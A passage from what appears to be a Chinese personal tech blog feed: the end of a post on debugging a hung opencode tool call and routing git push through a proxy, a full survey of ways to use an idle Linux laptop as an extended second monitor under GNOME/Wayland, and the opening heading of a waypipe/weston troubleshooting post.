&lt;p&gt;根治方向（opencode 侧）：spawner 用 &lt;code&gt;exit&lt;&#x2F;code&gt; 而不是 &lt;code&gt;close&lt;&#x2F;code&gt; 完成 Deferred，或给 &lt;code&gt;close&lt;&#x2F;code&gt; 等待加兜底超时。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;ben-ci-yong-dao-de-gong-ju&quot;&gt;本次用到的工具&lt;&#x2F;h2&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;工具&lt;&#x2F;th&gt;&lt;th&gt;用途&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;&lt;code&gt;sqlite3 ...?mode=ro&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;查 tool part 的真实状态与超时参数&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;code&gt;rg&lt;&#x2F;code&gt; + &lt;code&gt;opencode.log&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;确认 before&#x2F;after 钩子缺了哪个&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;code&gt;ps&lt;&#x2F;code&gt; &#x2F; &lt;code&gt;pstree&lt;&#x2F;code&gt; &#x2F; &lt;code&gt;&#x2F;proc&#x2F;&amp;lt;pid&amp;gt;&#x2F;task&#x2F;*&#x2F;children&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;确认子进程已退出&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;code&gt;ps -L -o wchan&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;区分「忙」与「等事件」&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;code&gt;ls -l &#x2F;proc&#x2F;&amp;lt;pid&amp;gt;&#x2F;fd&lt;&#x2F;code&gt; + &lt;code&gt;ss -xp&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;按 inode 把 socket 对端对到 mux master&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;code&gt;ps -o lstart&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;时间关联，证明 master 由同一 run 创建&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;读源码&lt;&#x2F;td&gt;&lt;td&gt;spawner 的 &lt;code&gt;close&lt;&#x2F;code&gt;&#x2F;&lt;code&gt;kill&lt;&#x2F;code&gt; 逻辑、OpenSSH &lt;code&gt;mm_send_fd&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;blockquote&gt;
&lt;p&gt;全程没有 dump 堆栈。&lt;code&gt;ps&lt;&#x2F;code&gt; 的 &lt;code&gt;wchan&lt;&#x2F;code&gt; 只是内核等待点，不是调用栈；结论来自「状态机 + 进程树 + fd 拓扑 + 源码」四路证据交叉验证。&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;hr &#x2F;&gt;
&lt;h1 id=&quot;pai-cha-si-lu-zong-jie-geng-xin-ban&quot;&gt;排查思路总结（更新版）&lt;&#x2F;h1&gt;
&lt;p&gt;加上后续的排查，归纳出 opencode 卡住的四种模式：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;卡住了？
  │
  ├─ CPU 高 (&amp;gt;10%) + 大量 futex&amp;#x2F;sched_yield
  │     → 锁争抢 &amp;#x2F; 惊群效应
  │     → 检查线程池大小、LSP server 数量
  │
  ├─ CPU 低 (&amp;lt;5%) + 进程 idle (S&amp;#x2F;sleeping)
  │     → 看 fd 中的 socket
  │       ├─ SYN-SENT → IPv6 不通 &amp;#x2F; 防火墙
  │       └─ ESTABLISH + Send-Q 积压 → 网络拥塞
  │
  ├─ CPU 低 + 有子进程 (pstree)
  │     → 看 pstree 找到叶子进程
  │       → git? ssh? → 网络问题 &amp;#x2F; 代理配置
  │
  └─ CPU 低 + 无子进程 + tool 状态 running
        → 子进程已退出但收尾没完成
        → sqlite 查 part 状态&amp;#x2F;超时参数，日志查 after 钩子
        → ss -xp 把 socket 对端对到进程
          → 持久 ssh mux master 持有 stdio fd
          → close 事件不触发 → 超时也兜不住
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h1 id=&quot;jie-jue-fang-an-git-push-ssh&quot;&gt;解决方案（git push SSH）&lt;&#x2F;h1&gt;
&lt;p&gt;两种方式让 git push 走代理：&lt;&#x2F;p&gt;
&lt;h2 id=&quot;fang-an-yi-ssh-pei-dai-li&quot;&gt;方案一：SSH 配代理&lt;&#x2F;h2&gt;
&lt;p&gt;&lt;code&gt;~&#x2F;.ssh&#x2F;config&lt;&#x2F;code&gt; 中添加：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;Host github.com
    ProxyCommand nc -X 5 -x 192.168.5.244:10808 %h %p
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;fang-an-er-gai-yong-https-yuan-cheng&quot;&gt;方案二：改用 HTTPS 远程&lt;&#x2F;h2&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;git remote set-url myself https:&amp;#x2F;&amp;#x2F;github.com&amp;#x2F;moxuetianya&amp;#x2F;learn-opencode.git
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;HTTPS 协议会使用 &lt;code&gt;HTTPS_PROXY&lt;&#x2F;code&gt; 环境变量，自动走代理。&lt;&#x2F;p&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>Linux 闲置笔记本做副屏：方案调研与后续研究 TODO</title>
        <published>2026-07-10T10:28:12+08:00</published>
        <updated>2026-07-10T10:28:12+08:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/2026/07/linux-idle-laptop-as-second-monitor-research/"/>
        <id>https://vercel.juzhong.asia/2026/07/linux-idle-laptop-as-second-monitor-research/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/2026/07/linux-idle-laptop-as-second-monitor-research/">&lt;h2 id=&quot;xu-qiu&quot;&gt;需求&lt;&#x2F;h2&gt;
&lt;p&gt;两台 Linux 电脑（都是 GNOME 桌面，Wayland 协议），把闲置笔记本变成真正意义上的「扩展副屏」——鼠标可以跨屏移动，GNOME 认为这是第二块显示器，可以任意拖拽窗口。不是远程桌面，不是屏幕镜像，不是共享单个窗口。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;fang-an-quan-jing&quot;&gt;方案全景&lt;&#x2F;h2&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;方案&lt;&#x2F;th&gt;&lt;th style=&quot;text-align: center&quot;&gt;真正扩展桌面&lt;&#x2F;th&gt;&lt;th&gt;延迟&lt;&#x2F;th&gt;&lt;th&gt;系统要求&lt;&#x2F;th&gt;&lt;th style=&quot;text-align: center&quot;&gt;推荐程度&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;SpaceDesk&lt;&#x2F;td&gt;&lt;td style=&quot;text-align: center&quot;&gt;✅&lt;&#x2F;td&gt;&lt;td&gt;很低&lt;&#x2F;td&gt;&lt;td&gt;Windows 主机&lt;&#x2F;td&gt;&lt;td style=&quot;text-align: center&quot;&gt;★★★★★&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;Deskreen&lt;&#x2F;td&gt;&lt;td style=&quot;text-align: center&quot;&gt;❌（镜像&#x2F;窗口共享）&lt;&#x2F;td&gt;&lt;td&gt;中等&lt;&#x2F;td&gt;&lt;td&gt;跨平台&lt;&#x2F;td&gt;&lt;td style=&quot;text-align: center&quot;&gt;★★★&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;Sunshine + Moonlight&lt;&#x2F;td&gt;&lt;td style=&quot;text-align: center&quot;&gt;❌（远程桌面）&lt;&#x2F;td&gt;&lt;td&gt;很低&lt;&#x2F;td&gt;&lt;td&gt;跨平台&lt;&#x2F;td&gt;&lt;td style=&quot;text-align: center&quot;&gt;★★★★&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;HDMI 视频采集卡&lt;&#x2F;td&gt;&lt;td style=&quot;text-align: center&quot;&gt;❌（镜像输入）&lt;&#x2F;td&gt;&lt;td&gt;很低&lt;&#x2F;td&gt;&lt;td&gt;任意&lt;&#x2F;td&gt;&lt;td style=&quot;text-align: center&quot;&gt;★★★★&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;GNOME RDP 远程桌面&lt;&#x2F;td&gt;&lt;td style=&quot;text-align: center&quot;&gt;理论支持&lt;&#x2F;td&gt;&lt;td&gt;中等&lt;&#x2F;td&gt;&lt;td&gt;GNOME&lt;&#x2F;td&gt;&lt;td style=&quot;text-align: center&quot;&gt;★★★&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;Monitorize&lt;&#x2F;td&gt;&lt;td style=&quot;text-align: center&quot;&gt;✅（理论）&lt;&#x2F;td&gt;&lt;td&gt;未知&lt;&#x2F;td&gt;&lt;td&gt;GNOME&#x2F;Wayland&lt;&#x2F;td&gt;&lt;td style=&quot;text-align: center&quot;&gt;★★☆&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;Input Leap + SSH&#x2F;tmux&lt;&#x2F;td&gt;&lt;td style=&quot;text-align: center&quot;&gt;❌（不共享画面）&lt;&#x2F;td&gt;&lt;td&gt;无&lt;&#x2F;td&gt;&lt;td&gt;跨平台&lt;&#x2F;td&gt;&lt;td style=&quot;text-align: center&quot;&gt;★★★★&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;h3 id=&quot;fang-an-yi-spacedesk-zui-cheng-shou-dan-jin-xian-windows&quot;&gt;方案一：SpaceDesk（最成熟，但仅限 Windows）&lt;&#x2F;h3&gt;
&lt;p&gt;Windows 生态下最成熟的方案。通过 WDDM 虚拟显示驱动向系统声明第二块显示器，再通过网络传输画面。&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;优点：真正的扩展桌面，鼠标跨屏，高分辨率，延迟低&lt;&#x2F;li&gt;
&lt;li&gt;缺点：主机必须是 Windows，Linux 不可用&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;&lt;strong&gt;关键启示&lt;&#x2F;strong&gt;：Windows 的 WDDM 架构允许第三方安装虚拟显示驱动，这是 SpaceDesk 成功的底层原因。Linux 缺少等价机制。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;fang-an-er-deskreen-zui-jian-dan-dan-fei-kuo-zhan-zhuo-mian&quot;&gt;方案二：Deskreen（最简单，但非扩展桌面）&lt;&#x2F;h3&gt;
&lt;p&gt;通过 WebRTC 共享桌面或窗口，副屏只需浏览器打开。&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;优点：零安装客户端，开源，跨平台&lt;&#x2F;li&gt;
&lt;li&gt;缺点：窗口共享&#x2F;桌面镜像，不是系统级扩展显示&lt;&#x2F;li&gt;
&lt;li&gt;适合：把文档、ChatGPT、日志窗口投到另一台电脑&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h3 id=&quot;fang-an-san-sunshine-moonlight-di-yan-chi-dan-fei-kuo-zhan-zhuo-mian&quot;&gt;方案三：Sunshine + Moonlight（低延迟，但非扩展桌面）&lt;&#x2F;h3&gt;
&lt;p&gt;利用 GPU 硬件编码（VA-API&#x2F;NVENC）传输桌面。&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;优点：千兆局域网十几毫秒延迟，适合视频、代码&lt;&#x2F;li&gt;
&lt;li&gt;缺点：远程桌面，始终只有 Display 1；需要配合虚拟显示器才能模拟扩展&lt;&#x2F;li&gt;
&lt;li&gt;参考：&lt;a href=&quot;&#x2F;2025&#x2F;11&#x2F;sunshine-moonlight-%E9%85%8D%E7%BD%AElinux%E7%AC%AC%E4%BA%8C%E5%B1%8F%E5%B9%95&#x2F;&quot;&gt;之前配置笔记&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h3 id=&quot;fang-an-si-hdmi-shi-pin-cai-ji-qia-hua-zhi-zui-hao-jing-xiang-mo-shi&quot;&gt;方案四：HDMI 视频采集卡（画质最好，镜像模式）&lt;&#x2F;h3&gt;
&lt;pre&gt;&lt;code&gt;主电脑 HDMI → USB Capture → 副屏 OBS&amp;#x2F;PotPlayer
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;ul&gt;
&lt;li&gt;优点：接近无损，延迟几十毫秒&lt;&#x2F;li&gt;
&lt;li&gt;缺点：不能扩展桌面，只是显示 HDMI 输入&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h3 id=&quot;fang-an-wu-gnome-rdp-yuan-cheng-zhuo-mian&quot;&gt;方案五：GNOME RDP 远程桌面&lt;&#x2F;h3&gt;
&lt;p&gt;GNOME 自带的远程桌面通过 &lt;code&gt;screen-share-mode extend&lt;&#x2F;code&gt; 可以创建虚拟显示器。结合 RDP 客户端连接，理论上能实现扩展屏。之前踩过&lt;a href=&quot;&#x2F;2026&#x2F;06&#x2F;gnome-remote-desktop-full-troubleshooting&#x2F;&quot;&gt;一堆坑&lt;&#x2F;a&gt;。&lt;&#x2F;p&gt;
&lt;p&gt;核心命令：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;gsettings set org.gnome.desktop.remote-desktop.rdp screen-share-mode extend
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;ul&gt;
&lt;li&gt;优点：原生 GNOME 支持，不需额外软件&lt;&#x2F;li&gt;
&lt;li&gt;缺点：RDP 协议延迟较高，依赖 GNOME Keyring 和 systemd 配置，headless 模式存在 session 创建问题&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h3 id=&quot;fang-an-liu-input-leap-ssh-tmux-wen-ding-dan-bu-gong-xiang-hua-mian&quot;&gt;方案六：Input Leap + SSH&#x2F;tmux（稳定，但不共享画面）&lt;&#x2F;h3&gt;
&lt;p&gt;将闲置笔记本当作独立工作站，通过 SSH 连接开发机，Input Leap 共享键鼠。&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;优点：零网络占用，无延迟，稳定&lt;&#x2F;li&gt;
&lt;li&gt;缺点：两台电脑独立运行，不能跨屏拖拽窗口&lt;&#x2F;li&gt;
&lt;li&gt;适合：纯终端开发的场景&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;hr &#x2F;&gt;
&lt;h2 id=&quot;he-xin-zhang-ai-wei-shen-me-linux-mei-you-spacedesk-deng-jia-fang-an&quot;&gt;核心障碍：为什么 Linux 没有 SpaceDesk 等价方案&lt;&#x2F;h2&gt;
&lt;p&gt;Linux 显示架构的根本限制：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;GNOME → Mutter → Wayland → DRM&amp;#x2F;KMS → GPU → HDMI&amp;#x2F;DP → Monitor
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;显示器必须来自 &lt;strong&gt;DRM Connector&lt;&#x2F;strong&gt;（HDMI-A-1、DP-1、eDP-1 等）。网络上的另一台电脑无法注册成 DRM Connector，GNOME 根本不知道它的存在。&lt;&#x2F;p&gt;
&lt;p&gt;Windows 的 WDDM 支持第三方虚拟显示驱动（如 SpaceDesk Driver），但 Linux 的 DRM&#x2F;KMS 架构没有等价接口。&lt;&#x2F;p&gt;
&lt;p&gt;要做一个 Linux 版 SpaceDesk 需要同时实现：&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;DRM Driver&lt;&#x2F;strong&gt; — 向内核注册虚拟显示器&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;Wayland Protocol&lt;&#x2F;strong&gt; — 通知合成器新显示器存在&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;DMA-BUF&lt;&#x2F;strong&gt; — 零拷贝获取显存帧&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;PipeWire&lt;&#x2F;strong&gt; — 捕获虚拟显示器画面&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;GPU 编码&#x2F;解码&lt;&#x2F;strong&gt; — 硬编解码降低延迟&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;热插拔&lt;&#x2F;strong&gt; — 连接&#x2F;断开自动识别&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;EDID&lt;&#x2F;strong&gt; — 报告分辨率、刷新率&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;Cursor Plane&lt;&#x2F;strong&gt; — 独立的鼠标光标平面&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;VSync&lt;&#x2F;strong&gt; — 帧同步&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;p&gt;这几乎等于重新写一套显示驱动。Windows 已经提供这些接口，Linux 尚未统一。&lt;&#x2F;p&gt;
&lt;hr &#x2F;&gt;
&lt;h2 id=&quot;yi-zhi-de-ke-xing-lu-jing&quot;&gt;已知的可行路径&lt;&#x2F;h2&gt;
&lt;h3 id=&quot;lu-jing-yi-edid-qi-pian-drm-xu-ni-xian-shi-qi&quot;&gt;路径一：EDID 欺骗 + DRM 虚拟显示器&lt;&#x2F;h3&gt;
&lt;p&gt;通过内核参数在未使用的 DRM Connector 上强制加载 EDID，让系统认为接了显示器。Sunshine 再串流这个虚拟显示器。&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;# 内核参数示例
drm.edid_firmware=HDMI-A-2:edid&amp;#x2F;hdmi-edid.bin video=HDMI-A-2:1920x1080@60e
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;ul&gt;
&lt;li&gt;参考：&lt;a href=&quot;&#x2F;2025&#x2F;11&#x2F;%E6%9E%84%E9%80%A0edid%E5%86%85%E6%A0%B8%E5%8F%82%E6%95%B0-%E5%88%9B%E5%BB%BA%E8%99%9A%E6%8B%9F%E6%98%BE%E7%A4%BA%E5%99%A8&#x2F;&quot;&gt;构造 edid 内核参数创建虚拟显示器&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;优点：使用最多，方法成熟&lt;&#x2F;li&gt;
&lt;li&gt;缺点：占用物理接口（HDMI-A-2），依赖 X11&#x2F;xrandr 或 Gnome on Xorg，Wayland 下兼容性差&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h3 id=&quot;lu-jing-er-gnome-virtual-monitor-api-mutter-xin-zeng&quot;&gt;路径二：GNOME Virtual Monitor API（Mutter 新增）&lt;&#x2F;h3&gt;
&lt;p&gt;2025 年后 GNOME Mutter 增加了 Virtual Monitor API，最初为 RDP 准备。Monitorize 等项目正是利用这一能力。&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;Mutter 创建 Virtual Monitor
     ↓
PipeWire 捕获 Display-2
     ↓
GStreamer 编码
     ↓
UDP 网络传输
     ↓
客户端解码 → 全屏显示
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;ul&gt;
&lt;li&gt;优点：真正扩展桌面，GNOME 显示设置中可见&lt;&#x2F;li&gt;
&lt;li&gt;缺点：仅 GNOME 46+，依赖 PipeWire，项目年轻&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h3 id=&quot;lu-jing-san-kvm-virtio-gpu-rdp&quot;&gt;路径三：KVM + Virtio-GPU + RDP&lt;&#x2F;h3&gt;
&lt;p&gt;在主机上启动轻量级 KVM 虚拟机，通过 Virtio-GPU 创建虚拟显示器，虚拟机内启动 RDP&#x2F;VNC 服务端。&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;优点：隔离性好，不影响主机会话&lt;&#x2F;li&gt;
&lt;li&gt;缺点：配置复杂，需要额外的虚拟化开销&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;hr &#x2F;&gt;
&lt;h2 id=&quot;hou-xu-todo-yan-jiu-fang-xiang&quot;&gt;后续 TODO 研究方向&lt;&#x2F;h2&gt;
&lt;p&gt;以下按优先级排列：&lt;&#x2F;p&gt;
&lt;h3 id=&quot;todo-1-monitorize-shi-ce-yan-zheng&quot;&gt;TODO 1：Monitorize 实测验证&lt;&#x2F;h3&gt;
&lt;ul&gt;
&lt;li&gt;GitHub: &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;vinnavannewton&#x2F;project-monitorize&quot;&gt;vinnavannewton&#x2F;project-monitorize&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;目标：在两台 GNOME 46+ 机器上安装测试，验证是否真正实现扩展桌面&lt;&#x2F;li&gt;
&lt;li&gt;关注点：
&lt;ul&gt;
&lt;li&gt;GNOME Mutter 光标禁用配置 (&lt;code&gt;&#x2F;etc&#x2F;environment&lt;&#x2F;code&gt;)&lt;&#x2F;li&gt;
&lt;li&gt;虚拟显示器稳定性（官方路线图中 GNOME 标记为 &quot;todo&quot;）&lt;&#x2F;li&gt;
&lt;li&gt;输入同步、剪贴板、热插拔体验&lt;&#x2F;li&gt;
&lt;li&gt;对比 RDP 原生的延迟差异&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;结论：最值得尝试的方案，但需要容忍早期阶段的不稳定性&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h3 id=&quot;todo-2-gnome-rdp-extend-mo-shi-shen-du-yan-zheng&quot;&gt;TODO 2：GNOME RDP extend 模式深度验证&lt;&#x2F;h3&gt;
&lt;ul&gt;
&lt;li&gt;核心配置：&lt;code&gt;gsettings set org.gnome.desktop.remote-desktop.rdp screen-share-mode extend&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;li&gt;目标：将 RDP 远程桌面变成稳定的扩展屏方案&lt;&#x2F;li&gt;
&lt;li&gt;待解决：
&lt;ul&gt;
&lt;li&gt;headless 模式 session 创建问题&lt;&#x2F;li&gt;
&lt;li&gt;减小 RDP 协议延迟&lt;&#x2F;li&gt;
&lt;li&gt;TLS 证书和凭据的自动化配置&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;优势：原生 GNOME 支持，零额外依赖&lt;&#x2F;li&gt;
&lt;li&gt;参考：&lt;a href=&quot;&#x2F;2026&#x2F;06&#x2F;gnome-remote-desktop-full-troubleshooting&#x2F;&quot;&gt;之前排查记录&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h3 id=&quot;todo-3-wayland-xia-edid-qi-pian-de-ke-xing-xing-tan-suo&quot;&gt;TODO 3：Wayland 下 EDID 欺骗的可行性探索&lt;&#x2F;h3&gt;
&lt;p&gt;目前 EDID 欺骗方案在 Wayland 下效果不佳，需要研究：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;wlr-randr&lt;&#x2F;code&gt; 是否能在 Wayland 下管理虚拟输出&lt;&#x2F;li&gt;
&lt;li&gt;Mutter 的 &lt;code&gt;headless&lt;&#x2F;code&gt; 模式能否配合 EDID 欺骗&lt;&#x2F;li&gt;
&lt;li&gt;Sway 的虚拟输出能力是否能提供参考&lt;&#x2F;li&gt;
&lt;li&gt;不同合成器（Mutter、KWin、Hyprland）的行为差异&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h3 id=&quot;todo-4-wlroots-sheng-tai-zhong-de-xu-ni-xian-shi-qi-fang-an&quot;&gt;TODO 4：wlroots 生态中的虚拟显示器方案&lt;&#x2F;h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;waypipe&lt;&#x2F;code&gt;：转发单个 Wayland 应用到另一台电脑（非扩展屏，但对开发者有用）&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;wayvnc&lt;&#x2F;code&gt;：Wayland 原生 VNC（镜像）&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;way-displays&lt;&#x2F;code&gt; &#x2F; &lt;code&gt;wl-mirror&lt;&#x2F;code&gt;：镜像已有显示器&lt;&#x2F;li&gt;
&lt;li&gt;关注：wlroots 协议层是否有机会实现真正的虚拟输出注册&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h3 id=&quot;todo-5-pipewire-dma-buf-di-yan-chi-chuan-shu&quot;&gt;TODO 5：PipeWire + DMA-BUF 低延迟传输&lt;&#x2F;h3&gt;
&lt;p&gt;如果虚拟显示器能从内核拿到 DMA-BUF（显存帧），PipeWire 可以直接用 GPU 编码传输，避免 CPU 拷贝。&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;研究 PipeWire 的 &lt;code&gt;libcamera&lt;&#x2F;code&gt;&#x2F;&lt;code&gt;screen-capture&lt;&#x2F;code&gt; 能力&lt;&#x2F;li&gt;
&lt;li&gt;探索是否可以通过 &lt;code&gt;kmsro&lt;&#x2F;code&gt; 读取 vkms 虚拟显示器的 DRM buffer&lt;&#x2F;li&gt;
&lt;li&gt;对比现有 GStreamer 方案的延迟&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h3 id=&quot;todo-6-chang-shi-windows-zhu-ji-linux-fu-ping&quot;&gt;TODO 6：尝试 Windows 主机 + Linux 副屏&lt;&#x2F;h3&gt;
&lt;p&gt;如果主机可以是 Windows，则 SpaceDesk 是首选。Linux 副屏只需要安装 SpaceDesk Viewer 即可。&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;验证 SpaceDesk Viewer（Linux 版）的安装和连接&lt;&#x2F;li&gt;
&lt;li&gt;对比有线 USB 和无线 WiFi 的延迟差异&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h3 id=&quot;todo-7-kvm-virtio-gpu-fang-an-shi-cao&quot;&gt;TODO 7：KVM + Virtio-GPU 方案实操&lt;&#x2F;h3&gt;
&lt;ul&gt;
&lt;li&gt;编写 QEMU 启动脚本，创建无头轻量级虚拟机&lt;&#x2F;li&gt;
&lt;li&gt;配置 Virtio-GPU 分辨率为副屏分辨率&lt;&#x2F;li&gt;
&lt;li&gt;虚拟机内安装 xrdp&#x2F;vnc server&lt;&#x2F;li&gt;
&lt;li&gt;副屏通过 Remmina 连接虚拟机&lt;&#x2F;li&gt;
&lt;li&gt;评估资源占用和延迟&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;hr &#x2F;&gt;
&lt;h2 id=&quot;dang-qian-jie-lun&quot;&gt;当前结论&lt;&#x2F;h2&gt;
&lt;p&gt;截至 2026 年 7 月，在 Linux + Linux + GNOME (Wayland) 环境下，&lt;strong&gt;没有一个成熟、稳定、维护活跃、能够像 Windows SpaceDesk 一样把另一台 Linux 笔记本变成真正扩展副屏的方案&lt;&#x2F;strong&gt;。这不是个案问题，而是整个 Linux 桌面生态在显示驱动架构层面的空白。&lt;&#x2F;p&gt;
&lt;p&gt;短期工作流建议：&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;独立工作站 + Input Leap&lt;&#x2F;strong&gt;：闲置笔记本运行浏览器、文档、监控面板，SSH 连开发机，通过 Input Leap 共享键鼠。稳定且无需与显示系统对抗。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;Deskreen&lt;&#x2F;strong&gt;：快速把某个窗口&#x2F;文档投到副屏&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;增加物理显示器&lt;&#x2F;strong&gt;：最务实的长期方案&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;p&gt;值得持续跟踪的项目：&lt;strong&gt;Monitorize&lt;&#x2F;strong&gt;、&lt;strong&gt;GNOME Virtual Monitor API&lt;&#x2F;strong&gt; 的后续发展。&lt;&#x2F;p&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>waypipe + weston 全屏乱码排查：一次被现象带偏的过程</title>
        <published>2026-07-08T12:00:00+08:00</published>
        <updated>2026-07-08T12:00:00+08:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/2026/07/waypipe-weston-乱码排查/"/>
        <id>https://vercel.juzhong.asia/2026/07/waypipe-weston-乱码排查/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/2026/07/waypipe-weston-乱码排查/">&lt;h1 id=&quot;wen-ti-xian-xiang&quot;&gt;问题现象&lt;&#x2F;h1&gt;
